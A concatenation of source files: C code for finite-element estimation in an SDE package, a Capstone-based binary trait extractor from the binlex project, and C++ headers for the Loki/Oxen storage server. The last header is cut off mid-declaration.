<reponame>UnofficialJuliaMirror/SDE.jl-0d6d677f-8475-5ebf-bbf8-769304748c2b #include <math.h> #include <stdio.h> int maxi(int x, int y) { return (x > y ? x : y); } int mini(int x, int y) { return (x < y ? x : y); } double hat(double x) { double z = 1.-fabs(2.*x-1.); /* (1 -|2x-1|)+ */ return z > 0.0 ? z : 0.0; } double sq(double x) { return x*x; } void fe_mu(double *mu, double *y, int N, int L) { int n = 1<<(L-1); int t; int i; for (i = 1; i < n - 1; i++) { mu[2*i-2] = mu[2*i-1] = 0.; for (t = 0; t < N-1; t++) { mu[2*i-2] += hat(y[t]*n-i + 1)*(y[t+1]-y[t]); mu[2*i-1] += hat(y[t]*n-i +.5)*(y[t+1]-y[t]); } } mu[2*n-2] = 0.; for (t = 0; t < N-1; t++) mu[2*n-2] += hat(y[t]*n-n+1)*(y[t+1]-y[t]); } void fe_mu_at(double *mu, double *y, int N, int L) { int n = 1<<(L-1); int t; int i,j ; double yn; for (t = 0; t < N-1; t++) { /* find both hat functions with y[t] in support */ yn = y[t]*(double) n; i = maxi(mini(((int) ceil(yn)), n), 1); j = maxi(mini(((int) ceil(yn-0.5)), n-1), 1); /* only those components of mu are affected */ mu[2*i-2] += hat(y[t]*n-i + 1)*(y[t+1]-y[t]); mu[2*j-1] += hat(y[t]*n-j +.5)*(y[t+1]-y[t]); } } void fe_SigmaB2_at(double *S, double *y, int N, double dt, int L) { int n = 1<<(L-1); int K = 1; int d = 2*n - 1 + K; int t; int i, j; double yn; printf("L: %i\n", L); printf("n: %i\n", n); printf("d: %i\n", d); printf("N: %i\n", N); printf("dt: %f\n", dt); double a, b, c; for (t = 0; t < N; t++) { yn = y[t]*(double) n; i = maxi(mini(((int) ceil(yn)), n), 1); j = maxi(mini(((int) ceil(yn-0.5)), n-1), 1); a = sq(hat(yn-i + 1)) * dt; b = sq(hat(yn-j + 0.5)) * dt; c = hat(yn-i + 1) * hat(yn-j + 0.5) * dt; if (t < 10) printf("%5.3f(%i, %i), %5.6f %5.6f %5.6f \n", yn, i, j, a,b,c); S[(2*i-2)*d + 2*i-2] += a; S[(2*j-1)*d + 2*j-1] += b; S[(2*i-2)*d + 2*j-1] = S[(2*j-1)*d + 2*i-2] += c; S[(d-1)*d + 2*j-1] = S[(2*j-1)*d + d - 1] += hat(yn-j + 0.5) * dt; S[(d-1)*d + 2*i-2] = S[(2*i-2)*d + d - 1] += hat(yn-i + 1) * dt; } S[d*d - 1] = N * dt; for (i = 0; i < d*d; i++) { printf(" %10.3f", S[i]); if(i % d == d-1) printf("\n"); } printf("\n"); } void fe_SigmaB1_at(double *S, double *y, int N, double dt, int L) { int n = 1<<(L-1); int K = 1; int d = 2*n - 1 + K; int t; int i, j; double yn; for (t = 0; t < N; t++) { yn = y[t]*(double) n; i = maxi(mini(((int) ceil(yn)), n), 1); j = maxi(mini(((int) ceil(yn-0.5)), n-1), 1); S[(2*i-2)*d + 2*i-2] += sq(hat(yn-i + 1)) * dt; S[(2*j-1)*d + 2*j-1] += sq(hat(yn-j + 0.5)) * dt; S[(2*i-2)*d + 2*j-1] = S[(2*j-1)*d + 2*i-2] += hat(yn-i + 1) * hat(yn-j + 0.5) * dt; S[(d-1)*d + 2*j-1] = S[(2*j-1)*d + d - 1] += hat(yn-j + 0.5) * dt; S[(d-1)*d + 2*i-2] = S[(2*i-2)*d + d - 1] += hat(yn-i + 1) * dt; } S[d*d - 1] = N * dt; } void fe_Sigma_at(double *S, double *y, int N, double dt, int L) { int n = 1<<(L-1); int d = 2*n - 1; int t; int i, j; double yn; double a, b, c; for (t = 0; t < N; t++) { yn = y[t]*(double) n; i = maxi(mini(((int) ceil(yn)), n), 1); j = maxi(mini(((int) ceil(yn-0.5)), n-1), 1); a = sq(hat(yn-i + 1)) * dt; b = sq(hat(yn-j + 0.5)) * dt; c = hat(yn-i + 1) * hat(yn-j + 0.5) * dt; S[(2*i-2)*d + 2*i-2] += a; S[(2*j-1)*d + 2*j-1] += b; S[(2*i-2)*d + 2*j-1] = S[(2*j-1)*d + 2*i-2] += c; } } /* yn = y[t]*n i = clamp(ceil(yn), 1, n) j = clamp(ceil(yn-0.5), 1, n-1) S[2i-1, 2i-1] += ((hat(yn-i + 1).^2))*dt S[2j, 2j] += ((hat(yn-j + 0.5).^2))*dt S[2i-1, 2j] = S[2j, 2i-1] += (hat(yn-i + 1).*hat(yn-j + 0.5))*dt */
mungurk/binlex
src/decompiler.h
#include <elf.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #include <capstone/capstone.h> #ifndef DECOMPILER_H #define DECOMPILER_H #define DECOMPILER_TYPE_FUNCS 0 #define DECOMPILER_TYPE_BLCKS 1 #define DECOMPILER_TYPE_UNSET 2 #define DECOMPILER_TYPE_ALL 3 #define DECOMPILER_MAX_SECTIONS 256 class Decompiler{ private: csh cs_handle; char *temp = NULL; struct Section { char *function_traits; char *block_traits; }; char * hexdump_le(const void *data, int size){ int buffer_size = size * 2 + size; char *buffer0 = (char *)malloc(buffer_size); memset((void *)buffer0, 0, buffer_size); const unsigned char * pc = (const unsigned char *)data; int count = 0; for (int i = size - 1; i >= 0; i--){ if (count == 0){ sprintf(buffer0, "%s%02x", buffer0, pc[i]); } else { sprintf(buffer0, "%s %02x", buffer0, pc[i]); } count++; } return buffer0; } char * hexdump_be(const void *data, int size){ int buffer_size = size * 2 + size; char *buffer0 = (char *)malloc(buffer_size); memset((void *)buffer0, 0, buffer_size); const unsigned char * pc = (const unsigned char *)data; int count = 0; for (int i = 0; i < size; i++){ if (count == 0){ sprintf(buffer0, "%s%02x", buffer0, pc[i]); } else { sprintf(buffer0, "%s %02x", buffer0, pc[i]); } count++; } return buffer0; } char * wildcard_bytes(char *str, char *wild){ char wildcard[] = "??"; char *offset = strstr(str, wild); if (offset != 0){ for (int i = 0; i < strlen(wild);){ memcpy(offset + i, &wildcard, 2); i = i + 3; } } return offset; } void wildcard_null(char *bytes){ char wildcard[] = "??"; char *buffer0 = (char *)malloc(3); memset(buffer0, 0, 3); for (int i = strlen(bytes) + 1; i >= 0;){ i = i - 3; if (i < 0){ break; } memcpy(buffer0, bytes + i, 2); if (strcmp(buffer0, (char *)"00") == 0){ memcpy(bytes + i, &wildcard, 2); } else { break; } } free(buffer0); } char * hexdump_mem_disp(long int disp){ int size = sizeof(disp) * 2 + sizeof(disp); char *buffer0 = (char *)malloc(size); memset((void *)buffer0, 0, size); const unsigned char * pc = (const unsigned char *)&disp; int count = 0; for (int i = 0; i < sizeof(disp) -1 ; i++){ if (pc[i] != 0 && pc[i] != 255){ if (count == 0){ sprintf(buffer0, "%s%02x", buffer0, pc[i]); } else { sprintf(buffer0, "%s %02x", buffer0, pc[i]); } count++; } } return buffer0; } char * hexdump_mem_disp_rev(void *disp, int size){ //int size = sizeof(disp) * 2 + sizeof(disp); char *buffer0 = (char *)malloc(size); memset((void *)buffer0, 0, size); const unsigned char * pc = (const unsigned char *)&disp; int count = 0; for (int i = 0; i < size -1 ; i++){ if (pc[i] != 0 && pc[i] != 255){ if (count == 0){ sprintf(buffer0, "%s%02x", buffer0, pc[i]); } else { sprintf(buffer0, "%s %02x", buffer0, pc[i]); } count++; } } return buffer0; } void SetSectionsDefault(){ for (int i = 0; i < DECOMPILER_MAX_SECTIONS; i++){ sections[i].function_traits = NULL; sections[i].block_traits = NULL; } } public: struct Section sections[DECOMPILER_MAX_SECTIONS]; Decompiler(){ SetSectionsDefault(); } void Setup(cs_arch arch, cs_mode mode){ assert(cs_open(arch, mode, &cs_handle) == CS_ERR_OK); cs_option(cs_handle, CS_OPT_DETAIL, CS_OPT_ON); //cs_option(cs_handle, CS_OPT_SKIPDATA, CS_OPT_ON); } int x86_64_0(int decompiler_type, void *data, int data_size, int section_index){ cs_insn *insn; char *disp = NULL; char *bytes = NULL; int offset; size_t count; int op_mem_disp_size; char *buffer0; int count_rev; const unsigned char * pc; void *op_disp = NULL; temp = (char *)malloc(data_size * 2 + data_size + 1); memset((void *)temp, 0, data_size * 2 + data_size); count = cs_disasm(cs_handle, (const uint8_t *)data, data_size, 0x0, 0, &insn); if (count > 0) { size_t j; for (j = 0; j < count; j++) { bytes = hexdump_be(insn[j].bytes, insn[j].size); for (int k = 0; k < insn[j].detail->x86.op_count; k++) { cs_x86_op *op = &(insn[j].detail->x86.operands[k]); switch((int)op->type) { case X86_OP_MEM: if (op->mem.disp != 0) disp = hexdump_mem_disp(op->mem.disp); op_mem_disp_size = sizeof(op->mem.disp) * 2 + sizeof(op->mem.disp); buffer0 = (char *)malloc(op_mem_disp_size); memset((void *)buffer0, 0, op_mem_disp_size); pc = (const unsigned char *)&op->mem.disp; count_rev = 0; for (int i = 0; i < sizeof(disp) -1 ; i++){ if (pc[i] != 0 && pc[i] != 255){ if (count_rev == 0){ sprintf(buffer0, "%s%02x", buffer0, pc[i]); } else { sprintf(buffer0, "%s %02x", buffer0, pc[i]); } count_rev++; } } wildcard_bytes(bytes, buffer0); free(buffer0); break; default: break; } } wildcard_null(bytes); if (decompiler_type == DECOMPILER_TYPE_FUNCS && insn[j].id == X86_INS_RET){ sprintf(temp + strlen(temp), "%s\n", bytes); //printf("%s\n", bytes); } else if (decompiler_type == DECOMPILER_TYPE_BLCKS && (insn[j].id == X86_INS_JMP || insn[j].id == X86_INS_JNE || insn[j].id == X86_INS_JNO || insn[j].id == X86_INS_JNP || insn[j].id == X86_INS_JL || insn[j].id == X86_INS_JLE || insn[j].id == X86_INS_JG || insn[j].id == X86_INS_JGE || insn[j].id == X86_INS_JE || insn[j].id == X86_INS_JECXZ || insn[j].id == X86_INS_JCXZ || insn[j].id == X86_INS_JB || insn[j].id == X86_INS_JBE || insn[j].id == X86_INS_JA || insn[j].id == X86_INS_JAE || insn[j].id == X86_INS_JNS || insn[j].id == X86_INS_JO || insn[j].id == X86_INS_JP || insn[j].id == X86_INS_JRCXZ || insn[j].id == X86_INS_JS)){ sprintf(temp + strlen(temp), "%s\n", bytes); //printf("%s\n", bytes); } else { if (j + 1 >= count){ sprintf(temp + strlen(temp), "%s\n", bytes); //printf("%s\n", bytes); } else { sprintf(temp + strlen(temp), "%s ", bytes); //printf("%s ", bytes); } } free(bytes); if (j == count - 1){ offset = insn[j].address + insn[j].size; } } cs_free(insn, count); } if (decompiler_type == DECOMPILER_TYPE_FUNCS){ if (sections[section_index].function_traits == NULL){ sections[section_index].function_traits = (char *)malloc(data_size * 2 + data_size + 1); memset((void *)sections[section_index].function_traits, 0, data_size * 2 + data_size + 1); } if (strlen(sections[section_index].function_traits) == 0){ sprintf(sections[section_index].function_traits, "%s", temp); } else { sprintf(sections[section_index].function_traits, "%s%s", sections[section_index].function_traits, temp); } } if (decompiler_type == DECOMPILER_TYPE_BLCKS){ if (sections[section_index].block_traits == NULL){ sections[section_index].block_traits = (char *)malloc(data_size * 2 + data_size + 1); memset((void *)sections[section_index].block_traits, 0, data_size * 2 + data_size + 1); } if (strlen(sections[section_index].block_traits) == 0){ sprintf(sections[section_index].block_traits, "%s", temp); } else { sprintf(sections[section_index].block_traits, "%s%s", sections[section_index].block_traits, temp); } } free(temp); return offset; } void x86_64(int decompiler_type, void *data, int data_size, int section_index){ // This is a hack should be in the x86_64_0 function as recursion, this fix works for now on emotet sample int offset = x86_64_0(decompiler_type, data, data_size, section_index); for(;;) { if (offset < data_size){ offset = offset + x86_64_0(decompiler_type, data + offset, data_size - offset, section_index); } else { break; } } } void PrintTraits(int type){ for (int i = 0; i < DECOMPILER_MAX_SECTIONS; i++){ switch(type){ case DECOMPILER_TYPE_FUNCS: if (sections[i].function_traits != NULL){ printf("%s", sections[i].function_traits); } break; case DECOMPILER_TYPE_BLCKS: if (sections[i].block_traits != NULL){ printf("%s", sections[i].block_traits); } break; case DECOMPILER_TYPE_ALL: if (sections[i].function_traits != NULL){ printf("%s", sections[i].function_traits); } if (sections[i].block_traits != NULL){ printf("%s", sections[i].block_traits); } break; default: break; } } } void WriteTraits(char *file_path){ FILE *fd = fopen(file_path, "w"); for (int i = 0; i < DECOMPILER_MAX_SECTIONS; i++){ if (sections[i].function_traits != NULL){ fwrite(sections[i].function_traits, sizeof(char), strlen(sections[i].function_traits), fd); } if (sections[i].block_traits != NULL){ fwrite(sections[i].block_traits, sizeof(char), strlen(sections[i].block_traits), fd); } } fclose(fd); } ~Decompiler(){ cs_close(&cs_handle); for (int i = 0; i < DECOMPILER_MAX_SECTIONS; i++){ if (sections[i].function_traits != NULL){ free(sections[i].function_traits); } if (sections[i].block_traits != NULL){ free(sections[i].block_traits); } } SetSectionsDefault(); } }; #endif
loki-project/loki-storage-server
httpserver/omq_server.h
<reponame>loki-project/loki-storage-server #pragma once #include <cstdint> #include <memory> #include <string> #include <string_view> #include <vector> #include <oxenmq/oxenmq.h> #include <nlohmann/json_fwd.hpp> #include "oxenmq/bt_serialize.h" #include "sn_record.h" namespace oxen { class ServiceNode; class RequestHandler; class RateLimiter; struct Response; struct OnionRequestMetadata; void omq_logger(oxenmq::LogLevel level, const char* file, int line, std::string message); oxenmq::bt_value json_to_bt(nlohmann::json j); nlohmann::json bt_to_json(oxenmq::bt_dict_consumer d); nlohmann::json bt_to_json(oxenmq::bt_list_consumer l); class OxenmqServer { oxenmq::OxenMQ omq_; oxenmq::ConnectionID oxend_conn_; // Has information about current SNs ServiceNode* service_node_ = nullptr; RequestHandler* request_handler_ = nullptr; RateLimiter* rate_limiter_ = nullptr; // Get node's address std::string peer_lookup(std::string_view pubkey_bin) const; // Handle Session data coming from peer SN void handle_sn_data(oxenmq::Message& message); // Called starting at HF18 for SS-to-SS onion requests void handle_onion_request(oxenmq::Message& message); // Handles a decoded onion request void handle_onion_request( std::string_view payload, OnionRequestMetadata&& data, oxenmq::Message::DeferredSend send); // sn.ping - sent by SNs to ping each other. void handle_ping(oxenmq::Message& message); // sn.storage_test void handle_storage_test(oxenmq::Message& message); /// storage.(whatever) -- client request handling. These reply with [BODY] on success or [CODE, /// BODY] on failure (where BODY typically is some sort of error message). /// /// The return value is either: /// [VALUE] for a successful response /// [ERRCODE, VALUE] for a failure. /// /// Successful responses will generally return VALUE as json, if the request was json (or /// empty), or a bt-encoded dict if the request was bt-encoded. Note that base64-encoded values /// for json responses are raw byte values (*not* base64-encoded) when returning a bt-encoded /// value. /// /// Failure responses are an HTTP error number and a plain text failure string. /// /// `forwarded` is set if this request was forwarded from another swarm member rather than being /// direct from the client; the request is handled identically except that these forwarded /// requests are not-reforwarded again, and the method name is prepended on the argument list. void handle_client_request(std::string_view method, oxenmq::Message& message, bool forwarded = false); void handle_get_logs(oxenmq::Message& message); void handle_get_stats(oxenmq::Message& message); // Access pubkeys for the 'service' command category (for access stats & logs), in binary. std::unordered_set<std::string> stats_access_keys_; // Connects (and blocks until connected) to oxend. When this returns an oxend connection will // be available (and oxend_conn_ will be set to the connection id to reach it). void connect_oxend(const oxenmq::address& oxend_rpc); public: OxenmqServer( const sn_record& me, const x25519_seckey& privkey, const std::vector<x25519_pubkey>& stats_access_keys_hex); // Initialize oxenmq; return a future that completes once we have connected to and initialized // from oxend. void init(ServiceNode* sn, RequestHandler* rh, RateLimiter* rl, oxenmq::address oxend_rpc); /// Dereferencing via * or -> accesses the contained OxenMQ instance. oxenmq::OxenMQ& operator*() { return omq_; } oxenmq::OxenMQ* operator->() { return &omq_; } // Returns the OMQ ConnectionID for the connection to oxend. const oxenmq::ConnectionID& oxend_conn() const { return oxend_conn_; } // Invokes a request to the local oxend; given arguments (which must contain at least the // request name and a callback) are forwarded as `omq.request(connid, ...)`. template <typename... Args> void oxend_request(Args&&... args) { assert(oxend_conn_); omq_.request(oxend_conn(), std::forward<Args>(args)...); } // Sends a one-way message to the local oxend; arguments are forwarded as `omq.send(connid, // ...)` (and must contain at least a command name). template <typename... Args> void oxend_send(Args&&... args) { assert(oxend_conn_); omq_.send(oxend_conn(), std::forward<Args>(args)...); } // Encodes the onion request data that we send for internal SN-to-SN onion requests starting at // HF18. static std::string encode_onion_data(std::string_view payload, const OnionRequestMetadata& data); // Decodes onion request data; throws if invalid formatted or missing required fields. static std::pair<std::string_view, OnionRequestMetadata> decode_onion_data(std::string_view data); using rpc_map = std::unordered_map< std::string_view, std::function<void(RequestHandler&, std::string_view params, bool recurse, std::function<void(Response)>)> >; static const rpc_map client_rpc_endpoints; }; } // namespace oxen
loki-project/loki-storage-server
httpserver/request_handler.h
#pragma once #include "channel_encryption.hpp" #include "client_rpc_endpoints.h" #include "http.h" #include "onion_processing.h" #include "oxen_common.h" #include "oxend_key.h" #include "service_node.h" #include "string_utils.hpp" #include <chrono> #include <forward_list> #include <future> #include <string> #include <string_view> #include <type_traits> #include <nlohmann/json_fwd.hpp> #include <variant> namespace oxen { // When a storage test returns a "retry" response, we retry again after this interval: inline constexpr auto TEST_RETRY_INTERVAL = 50ms; // If a storage test is still returning "retry" after this long since the initial request then we // give up and send an error response back to the requestor: inline constexpr auto TEST_RETRY_PERIOD = 55s; // Minimum and maximum TTL permitted for a message storage request inline constexpr auto TTL_MINIMUM = 10s; inline constexpr auto TTL_MAXIMUM = 14 * 24h; // Tolerance for store requests: we don't allow stores with a timestamp more than this into the // future, and don't allow stores with an expiry in the past by more than this amount. inline constexpr auto STORE_TOLERANCE = 10s; // Tolerance for timestamp-dependent, signed requests (such as `delete_all`); we accept the initial // request if within SIGNATURE_TOLERANCE of now, and accept a recursive request if within // SIGNATURE_TOLERANCE_FORWARDED (generally slightly larger to account for swarm forwarding // latency). inline constexpr auto SIGNATURE_TOLERANCE = 60s; inline constexpr auto SIGNATURE_TOLERANCE_FORWARDED = 70s; // Simpler wrapper that works for most of our responses struct Response { http::response_code status = http::OK; std::variant<std::string, std::string_view, nlohmann::json> body; std::vector<std::pair<std::string, std::string>> headers; }; // Views the string or string_view body inside a Response. Should only be called when the body has // already been verified to not contain a json object. inline std::string_view view_body(const Response& r) { assert(!std::holds_alternative<nlohmann::json>(r.body)); if (auto* sv = std::get_if<std::string_view>(&r.body)) return *sv; if (auto* s = std::get_if<std::string>(&r.body)) return *s; return "(internal error)"sv; } std::string to_string(const Response& res); namespace detail { // detail::to_hashable takes either an integral type, system_clock::time_point, or a string type and // converts it to a string_view by writing an integer value (using std::to_chars) into the buffer // space (which should be at least 20 bytes), and returning a string_view into the written buffer // space. For strings/string_views the string_view is returned directly from the argument. // system_clock::time_points are converted into integral milliseconds since epoch then treated as an // integer value. template <typename T, std::enable_if_t<std::is_integral_v<T>, int> = 0> std::string_view to_hashable(const T& val, char*& buffer) { auto [p, ec] = std::to_chars(buffer, buffer+20, val); std::string_view s(buffer, p-buffer); buffer = p; return s; } inline std::string_view to_hashable(const std::chrono::system_clock::time_point& val, char*& buffer) { return to_hashable(std::chrono::duration_cast<std::chrono::milliseconds>(val.time_since_epoch()).count(), buffer); } template <typename T, std::enable_if_t<std::is_convertible_v<T, std::string_view>, int> = 0> std::string_view to_hashable(const T& value, char*&) { return value; } } /// Compute a hash from the given strings, concatenated together. std::string compute_hash_blake2b_b64(std::vector<std::string_view> parts); std::string compute_hash_sha512_hex(std::vector<std::string_view> parts); /// Computes a message hash based on its constituent parts. Takes a function (which accepts a /// container of string_views) and any number of std::string, std::string_view, system_clock values, /// or integer values. Strings are concatenated; integers are converted to strings via /// std::to_chars; clock values are treated as integer milliseconds-since-unix-epoch values. template <typename Func, typename... T> std::string compute_hash(Func hasher, const T&... args) { // Allocate a buffer of 20 bytes per integral value (which is the largest the any integral value // can be when stringified). std::array<char, (0 + ... + (std::is_integral_v<T> || std::is_same_v<T, std::chrono::system_clock::time_point> ? 20 : 0))> buffer; auto* b = buffer.data(); return hasher({detail::to_hashable(args, b)...}); } /// Computes a message hash using either the "new" (post-2.2) or "old" formats, which are blake2b /// and sha512 of the messages attributes (which differ a little between new/old). std::string computeMessageHash( std::chrono::system_clock::time_point timestamp, std::chrono::system_clock::time_point expiry, const user_pubkey_t& pubkey, std::string_view data, bool old); struct OnionRequestMetadata { x25519_pubkey ephem_key; std::function<void(Response)> cb; int hop_no = 0; EncryptType enc_type = EncryptType::aes_gcm; }; class RequestHandler { ServiceNode& service_node_; const ChannelEncryption& channel_cipher_; const ed25519_seckey ed25519_sk_; std::forward_list<std::future<void>> pending_proxy_requests_; // Wrap response `res` to an intermediate node Response wrap_proxy_response( Response res, const x25519_pubkey& client_key, EncryptType enc_type, bool json = false, bool base64 = true) const; // Return the correct swarm for `pubKey` Response handle_wrong_swarm(const user_pubkey_t& pubKey); // ===== Session Client Requests ===== // Similar to `handle_wrong_swarm`; but used when the swarm is requested // explicitly Response process_snodes_by_pk(const nlohmann::json& params) const; // Save the message and relay the swarm Response process_store(const nlohmann::json& params); // Query the database and return requested messages Response process_retrieve(const nlohmann::json& params); // =================================== public: RequestHandler(ServiceNode& sn, const ChannelEncryption& ce, ed25519_seckey ed_sk); // Handlers for parsed client requests void process_client_req(rpc::store&& req, std::function<void(Response)> cb); void process_client_req(rpc::retrieve&& req, std::function<void(Response)> cb); void process_client_req(rpc::get_swarm&& req, std::function<void(Response)> cb); void process_client_req(rpc::oxend_request&& req, std::function<void(Response)> cb); void process_client_req(rpc::info&&, std::function<void(Response)> cb); void process_client_req(rpc::delete_all&&, std::function<void(Response)> cb); void process_client_req(rpc::delete_msgs&&, std::function<void(Response)> cb); void process_client_req(rpc::delete_before&&, std::function<void(Response)> cb); void process_client_req(rpc::expire_all&&, std::function<void(Response)> cb); void process_client_req(rpc::expire_msgs&&, std::function<void(Response)> cb); using rpc_map = std::unordered_map< std::string_view, std::function<void(RequestHandler&, const nlohmann::json&, std::function<void(Response)>)> >; static const rpc_map client_rpc_endpoints; // Process a client request taking encoded json to be parsed containing something like // `{"method": "abc", "params": {"some_arg": 1}}`, dispatching to the appropriate request // handler. void process_client_req(std::string_view req_json, std::function<void(Response)> cb); // Processes a pre-parsed client request taking the method name ("store", "retrieve", etc.) and // the json params object. void process_client_req( std::string_view method, nlohmann::json params, std::function<void(Response)> cb); // Processes a swarm test request; if it succeeds the callback is immediately invoked, otherwise // the test is scheduled for retries for some time until it succeeds, fails, or times out, at // which point the callback is invoked to return the result. void process_storage_test_req( uint64_t height, legacy_pubkey tester, std::string msg_hash_hex, std::function<void(MessageTestStatus, std::string, std::chrono::steady_clock::duration)> callback); // Forwards a request to oxend RPC. `params` should contain: // - endpoint -- the name of the rpc endpoint; currently allowed are `ons_resolve` and // `get_service_nodes`. // - params -- optional dict of parameters to pass through to oxend as part of the request // // See oxen-core/rpc/core_rpc_server_command_defs.h for parameters to these endpoints. // // Returns (via the response callback) the oxend JSON object on success; on failure returns // a failure response with a body of the error string. void process_oxend_request(const nlohmann::json& params, std::function<void(Response)> cb); // Test only: retrieve all db entires Response process_retrieve_all(); // The result will arrive asynchronously, so it needs a callback handler void process_onion_req(std::string_view ciphertext, OnionRequestMetadata data); private: void process_onion_req(FinalDestinationInfo&& res, OnionRequestMetadata&& data); void process_onion_req(RelayToNodeInfo&& res, OnionRequestMetadata&& data); void process_onion_req(RelayToServerInfo&& res, OnionRequestMetadata&& data); void process_onion_req(ProcessCiphertextError&& res, OnionRequestMetadata&& data); }; } // namespace oxen
loki-project/loki-storage-server
httpserver/reachability_testing.h
#pragma once #include "oxen_common.h" #include "oxend_key.h" #include "sn_record.h" #include <chrono> #include <queue> #include <random> #include <unordered_map> #include <unordered_set> #include <vector> namespace oxen { namespace detail { // Returns std::greater on the std::get<N>(v)th element value. template <typename T, size_t N> struct nth_greater { constexpr bool operator()(const T& lhs, const T& rhs) const { return std::greater<std::tuple_element_t<N, T>>{}( std::get<N>(lhs), std::get<N>(rhs)); } }; struct incoming_test_state { std::chrono::steady_clock::time_point last_test{}; std::chrono::steady_clock::time_point last_whine{}; bool was_failing = false; }; } // namespace detail class Swarm; enum class ReachType { HTTPS, OMQ }; class reachability_testing { public: // How often we tick the timer to check whether we need to do any tests. inline static constexpr auto TESTING_TIMER_INTERVAL = 200ms; // Distribution for the seconds between node tests: we throw in some randomness to avoid // potential clustering of tests. (Note that there is some granularity here as the test timer // only runs every TESTING_TIMER_INTERVAL). inline static thread_local std::normal_distribution<float> TESTING_INTERVAL{10.0, 3.0}; // The linear backoff after each consecutive test failure before we re-test. Specifically we // schedule the next re-test for (TESTING_BACKOFF*previous_failures) + TESTING_INTERVAL(rng). inline static constexpr auto TESTING_BACKOFF = 10s; // The upper bound for the re-test interval. inline static constexpr auto TESTING_BACKOFF_MAX = 2min; // The maximum number of nodes that we will re-test at once (i.e. per TESTING_TIMING_INTERVAL); // mainly intended to throttle ourselves if, for instance, our own connectivity loss makes us // accumulate tons of nodes to test all at once. (Despite the random intervals, this can happen // if we also get decommissioned during which we can't test at all but still have lots of // failing nodes we want to test right away when we get recommissioned). inline static constexpr int MAX_RETESTS_PER_TICK = 4; // Maximum time without a ping before we start whining about it. // // We have a probability of about 0.368* of *not* getting pinged within a ping interval (10s), // and so the probability of not getting a ping for 2 minutes (i.e. 12 test spans) just because // we haven't been selected is extremely small (0.0000061). It also coincides nicely with // blockchain time (i.e. two minutes) and our max testing backoff. // // * = approx value of ((n-1)/n)^n for non-tiny values of n inline static constexpr auto MAX_TIME_WITHOUT_PING = 2min; // How often we whine in the logs about being unreachable inline static constexpr auto WHINING_INTERVAL = 2min; using clock = std::chrono::steady_clock; private: // Queue of pubkeys of service nodes to test; we pop off the back of this until the queue // empties then we refill it with a shuffled list of all pubkeys then pull off of it until it is // empty again, etc. std::vector<legacy_pubkey> testing_queue; // The next time for a general test clock::time_point next_general_test = clock::time_point::min(); // When we started, so that we know not to hold off on whining about no pings for a while. const clock::time_point startup = clock::now(); // Pubkeys, next test times, and sequential failure counts of service nodes that are currently // in "failed" status along with the last time they failed; we retest them first after 10s then // back off linearly by an additional 10s up to a max testing interval of 2m30s, until we get a // successful response. using FailingPK = std::tuple<legacy_pubkey, clock::time_point, int>; std::priority_queue<FailingPK, std::vector<FailingPK>, detail::nth_greater<FailingPK, 1>> failing_queue; std::unordered_set<legacy_pubkey> failing; // Track the last time *this node* was tested by other network nodes; used to detect and warn about // possible network issues. detail::incoming_test_state last_https; detail::incoming_test_state last_omq; public: // If it is time to perform another random test, this returns the next node to test from the // testing queue and returns it, also updating the timer for the next test. If it is not yet // time, or if the queue is empty and cannot current be replenished, returns std::nullopt. If // the queue empties then this builds a new one by shuffling current public keys in the swarm's // "all nodes" then starts using the new queue for this an subsequent calls. // // `requeue` is mainly for internal use: if false it avoids rebuilding the queue if we run // out (and instead just return nullopt). std::optional<sn_record> next_random( const Swarm& swarm, const clock::time_point& now = clock::now(), bool requeue = true); // Removes and returns up to MAX_RETESTS_PER_TICK nodes that are due to be tested (i.e. // next-testing-time <= now). Returns [snrecord, #previous-failures] for each. std::vector<std::pair<sn_record, int>> get_failing( const Swarm& swarm, const clock::time_point& now = clock::now()); // Adds a bad node pubkey to the failing list, to be re-tested soon (with a backoff depending on // `failures`; see TESTING_BACKOFF). `previous_failures` should be the number of previous // failures *before* this one, i.e. 0 for a random general test; or the failure count returned // by `get_failing` for repeated failures. void add_failing_node(const legacy_pubkey& pk, int previous_failures = 0); // Removes a node from the set of failing nodes; should be called whenever we stop testing a // node (e.g. because it is not passing, or because it deregistered). void remove_node_from_failing(const legacy_pubkey& pk); // Called when this storage server receives an incoming HTTP or OMQ ping void incoming_ping(ReachType type, const clock::time_point& now = clock::now()); // Check whether we received incoming pings recently void check_incoming_tests(const clock::time_point& now = clock::now()); }; } // namespace oxen
loki-project/loki-storage-server
httpserver/http.h
#pragma once #include <string> #include <string_view> #include <unordered_map> #include <utility> #include "string_utils.hpp" /// Namespace for http constants/types namespace oxen::http { using namespace std::literals; // HTTP response status code using response_code = std::pair<int, std::string_view>; inline constexpr response_code OK{200, "OK"sv}, BAD_REQUEST{400, "Bad Request"sv}, UNAUTHORIZED{401, "Unauthorized"sv}, FORBIDDEN{403, "Forbidden"sv}, NOT_FOUND{404, "Not Found"sv}, NOT_ACCEPTABLE{406, "Not Acceptable"sv}, GONE{410, "Gone"sv}, PAYLOAD_TOO_LARGE{413, "Payload Too Large"sv}, MISDIRECTED_REQUEST{421, "Misdirected Request"sv}, TOO_MANY_REQUESTS{429, "Too Many Requests"sv}, INTERNAL_SERVER_ERROR{500, "Internal Server Error"sv}, BAD_GATEWAY{502, "Bad Gateway"sv}, SERVICE_UNAVAILABLE{503, "Service Unavailable"sv}, GATEWAY_TIMEOUT{504, "Gateway Timeout"sv}; inline constexpr response_code from_code(int status) { switch (status) { case 200: return OK; case 400: return BAD_REQUEST; case 401: return UNAUTHORIZED; case 403: return FORBIDDEN; case 404: return NOT_FOUND; case 406: return NOT_ACCEPTABLE; case 410: return GONE; case 413: return PAYLOAD_TOO_LARGE; case 421: return MISDIRECTED_REQUEST; case 429: return TOO_MANY_REQUESTS; case 502: return BAD_GATEWAY; case 503: return SERVICE_UNAVAILABLE; case 504: return GATEWAY_TIMEOUT; default: [[fallthrough]]; case 500: return INTERNAL_SERVER_ERROR; } } namespace detail { struct ascii_lc_hash { std::size_t operator()(const std::string& val) const { return std::hash<std::string>{}(util::lowercase_ascii_string(val)); } }; struct ascii_lc_equal { bool operator()(const std::string& lhs, const std::string& rhs) const { return util::lowercase_ascii_string(lhs) == util::lowercase_ascii_string(rhs); } }; } // A case-insensitive (but case-preserving) unordered_map for holding header fields using headers = std::unordered_map<std::string, std::string, detail::ascii_lc_hash, detail::ascii_lc_equal>; // Deprecated headers; these can be removed after HF19 constexpr auto SNODE_SENDER_HEADER = "X-Loki-Snode-PubKey"; constexpr auto SNODE_TARGET_HEADER = "X-Target-Snode-Key"; constexpr auto SNODE_SIGNATURE_HEADER = "X-Loki-Snode-Signature"; constexpr auto SENDER_KEY_HEADER = 